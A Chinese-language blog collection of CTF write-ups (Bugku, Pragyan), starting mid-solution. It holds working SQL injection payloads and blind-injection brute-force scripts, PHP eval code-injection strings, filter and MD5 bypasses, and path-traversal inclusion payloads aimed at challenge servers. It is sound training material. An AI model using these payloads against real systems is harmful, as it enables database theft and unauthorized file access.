  然后我们再使用上面的套路进行探测,最后我们能发现双写已经不能绕过了,但是却没有过滤if left benchmark select from函数,所以,我们可以使用基于时间的盲注进行注入。payload:
1
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a', benchmark(7000000,MD5(14545)), 0)  %23

  剩下的爆字段跟值就不一一写了,这里直接写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0) %23"
database = ''

for i in range(28, 50):
for j in range(32, 128):

tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(i, tmp)
# print(urli)
try:
html = requests.get(urli, timeout=3)
except:
database += chr(j)
print('[+]column: ', database)
break

print(database)

  只要把payload一换就可以使用,不过可能需要多次执行。最终flag:flag{bugku-sql_6s-2i-4t-bug},这里要说的就是left在比较的时候是不区分大小写的,所以一般flag要么大写要么小写,而这道题原本的flag把bugku中的b弄成了大写B,所以一开始提交答案不对,后来经过跟管理员联系后,管理员就把flag都改成小写了。

  这里的另一种解法就是使用locate()进行bool型注入,payload:id=1' and (select LOCATE('a',(select flag2 from flag2)))=1 -- +,这里需要变的就是locate()第一个参数,后面的1不要变,因为它返回的是第一个字符串参数出现在第二个字符串参数中的位置,我们把它置为1就是希望从头开始爆破。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''

for i in range(1, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(tmp)
html = requests.get(urli)
if 'Hello' in html.text:
database += chr(j)
print('[+]key: ', database)
break

bugku ctf writeup1

前言

  此篇文章记录bugku中作者觉得比较有价值的writeup。

MISC

linux基础问题

  将压缩包下载后可以发现一个flag文件,拿到010Editor查找flag却没有任何发现,后来使用winhex查找flag,发现了flag.txt,但这并没有什么用,所以再次查找key,此时就能找到flag。
flag:key{feb81d3834e2423c9903f4755464060b}



中国菜刀

  下载压缩文件后可以发现是wireshark的捕获包,使用wireshark分析,追踪TCP流可以发现有一段流比较奇怪。




  将传输的数据拿去进行base64解密可以得知这个流是读取flag的数据流。



  所以将这个蓝色部分的数据提取出来



  调整数据流后再选择解码类型。



  所以flag:key{8769fe393f2b998fa6a11afe2bfcd65e}

### 这么多数据包
  下载后用wireshark打开,将进度条下拉到灰色(传输稳定)的状态,选择一条,然后追踪TCP流,






  调节流,在1735就有发现,将那串字符进行base64解码后可以发现。






  所以flag:CCTF{do_you_like_sniffer}

### Linux2
  题目描述:
1
2
给你点提示吧:key的格式是KEY{}
题目地址:链接: http://pan.baidu.com/s/1skJ6t7R 密码: s7jy


  将文件下载后使用binwalk、foremost可以分离出一个看似是flag的图片,但提交却是错误。无奈只能换种思路,自己想了挺久没想出来,后来查了下writeup才发现正确的解题方式:使用strings brave分析文件






  所以flag:KEY{24f3627a86fc740a7f36ee2c7a1c124a}

## WEB
### sql注入
  题目描述:



  在测试的时候发现不管’还是”都无法判断是否存在注入,查看源代码发现页面使用gb2312,所以考虑宽字节注入,。



1
POC: id=1%df%27 and 1=1 -- +





  但在查询string的值时发生如下错误



  尝试将key使用反引号包围,即`key`。最终得到flag。



  所以flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

  后来查阅了资源,sqlmap进行宽字节注入的payload如下:
1
python2 sqlmap.py -u http://103.238.227.13:10083/?id=1%df%27


### 域名解析
  题目描述:
>听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag

  windows下修改本地hosts解析的方法是修改C:\Windows\System32\drivers\etc下的hosts文件,注意要用管理员身份修改。



  在里面增加一条记录即可,然后访问flag.bugku.com,即可得到flag。


SQL注入测试

  题目描述:

访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值

  过滤代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

  可以看出过滤得很严格,但致命的缺陷是$id = strip_tags($id);,它给了我们一丝可乘之机。strip_tags可以过滤掉html、xml、php中的标签,比如将a<a>nd过滤成and。

  所以payload:

1
http://103.238.227.13:10087/?id=-1 u<a>nion se<a>lect hash,2 f<a>rom `key` where id=1 -- +

  flag: KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

本地包含

  题目描述:

1
2
3
4
5
6
7
echo '2333,不只是本地文件包含哦~'; <?php 
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

  这里一开始踏进了一个坑,测试的时候使用了1)";echo 111;//,但没有任何回显。




  看了writeup后才发现"是多余的。



  在eval()中可以使用print_r(file("xxx"))的形式读取文件,所以payload就是:1);print_r(file("flag.php"));//


变量1

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

  这里由于正则只匹配字母,不允许有;之类的符号出现,所以用上一道题的payload是没法获得flag的。但好在存在$$args,可以为我们打开另一道窗。

  这里介绍一个php中的特殊变量: $GLOBALS,它的作用如下:




  所以我们可以利用$GLOBALS输出flag的值,故payload:http://120.24.86.145:8004/index1.php?args=GLOBALS


备份是个好习惯

  题目描述:

http://120.24.86.145:8002/web16/
听说备份是个好习惯

  访问index.php.bak可以下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

  这里说下$_SERVER['REQUEST_URI']parse_str($str)的作用,

1
2
3
4
5
6
7
8
访问:http://localhost/aaa/?p=222
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";

<?php
parse_str("name=Bill&age=60");
echo $name."<br>"; // Bill
echo $age; // 60
?>

  接下来介绍两个绕过md5检查的方法

  • 一:使用数组的形式绕过
        因为MD5不能处理数组,MD5在对数组进行加密时会返回false(null?)false==false无疑是成立的,所以可以构造?a[]=1&b[]=2之类的方法绕过检查。所以,payload1如下:


  • 二:找到两个md5加密后相同的值
        这个要考积累,这里我找到了两个值。?key1=QNKCDZO&key2=240610708


秋名山老司机

  题目描述:

亲请在2s内计算老司机的车速是多少
1741242492-1033554030-217864531-2107975482+1148641444-1741096300+174362695137826373521637778+861571530+717037212=?;

  附上python脚本如下,这里重要的函数是eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf-8 -*-

import requests
from bs4 import BeautifulSoup
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
soup = BeautifulSoup(requestpage.content, 'lxml')
ans=soup.select('div')[0].get_text()[:-3]
print(ans)
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)

速度要快

  题目描述:




  要注意的是margin,这是一个数字,这也是后面的一个小坑。

  用burpsuite抓包可以发现,http的头部有flag,并且一看就是base64编码过的。



  最后的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*-
import requests
import base64

url = 'http://120.24.86.145:8002/web6/'
r = requests.session()
html = r.get(url)
bs = html.headers['flag']
key = base64.b64decode(bs)
key = str(key, encoding='utf-8')
print(key)
key = key.split(' ')[1]
key = str(base64.b64decode(key), encoding='utf-8')
print(key)
data = {'margin':key}
html = r.post(url, data)
print(html.text)


  要注意的是,后面的一串还要进行一次base64解码才能得到数字


pragyan ctf writeup

前言

  这场CTF由于时间紧张,所以只做了web题,比赛中也只做出两题,其余两题为比赛结束后参考writeup进行复现并记录。

1、web1:Unfinished business




  自己做的时候没做出来,用的是burp suite抓包,但没看出什么东西,然后再看别人的writeup复现。
登陆的时候勾选admin,然后用owasp zap抓包看一下,也正是这个工具在这题中运用得比较好。很容易就看到了flag。




  所以flag:pctf{y0u=Sh0Uldn’1/h4v3*s33n,1his.:)}

2、web2:Authenticate your way to admin




  关键点在于它在还没验证账号是否正确的情况下将identifier存入$_SESSION[‘id’]。




  所以,第一次我们用正常的账号密码登陆以绕过homepage.php的登陆检验。




  然后第二次我们用admin登陆,这里虽然会返回错误,但在上面已经提到,它是在验证前就更新了$_SESSION[‘id’]。




  所以,再次刷新原来登陆后的页面时,你的$_SESSION[‘id’]就被替换成了admin。最终拿到flag。




  所以flag:pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}

3、web3:El33t Articles Hub

  这道题比赛时也没解出来,现在拿着writeup复现一下。




  上来看到这个猜测十有八九就是文件包含,但将常见的文件包含跟绕过试了一遍都没有结果。所以这道题就进展不下去。

  看到writeup后才发现关键点不在这个url,在查看网页源代码的时候会发现两个带下划线的url,经自己不成熟总结,一般这样的链接都有猫腻。。。而且可以发现标题的图标也一直在变,仿佛在提醒你。。。




  做题的时候直接访问是一张正常的图片,但将id=x代入,并且查看源代码时,你就会发现hint。




  发现这又是一个文件包含,并且能包含php。所以查看index.php的代码。




  helpers.php的代码




  此时就能清晰的看到flag的位置,但因为id这里不能包含txt文件,所以只能回到file包含里。然后构造payload:
1
.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d




  故flag:pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}

4、web4:Animal Spy Database

1
Poc:1' or 1=1 -- +(返回正确);1' or 1=2 -- +(返回错误)

  说明有注入,再进一步可以测出是盲注

  其实,你测到后面会发现,题干中已经给了你表名,字段了。




  当然,你也可以用
1
2
3
4
5
6
7
8
查询数据库长度:
1' or (length(database()))=12 -- +
数据库:
1' or (ascii(substr(database(),1,1)))>100 -- +
表名:
1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 -- +
字段:
1' or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 -- +

  所以最终的Payload:

1
1' or (ascii(substr(( select username from users limit 0,1),1,1)))>68 -- +

  注入出username字段的值就是admin

  再将password注入出来,Payload:

1
1' or (ascii(substr(( select password from users limit 0,1),1,1)))>68 -- +

  所以最终flag:pctf{L31‘s~@Ll_h4il-1h3-c4T_Qu33n.?}

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×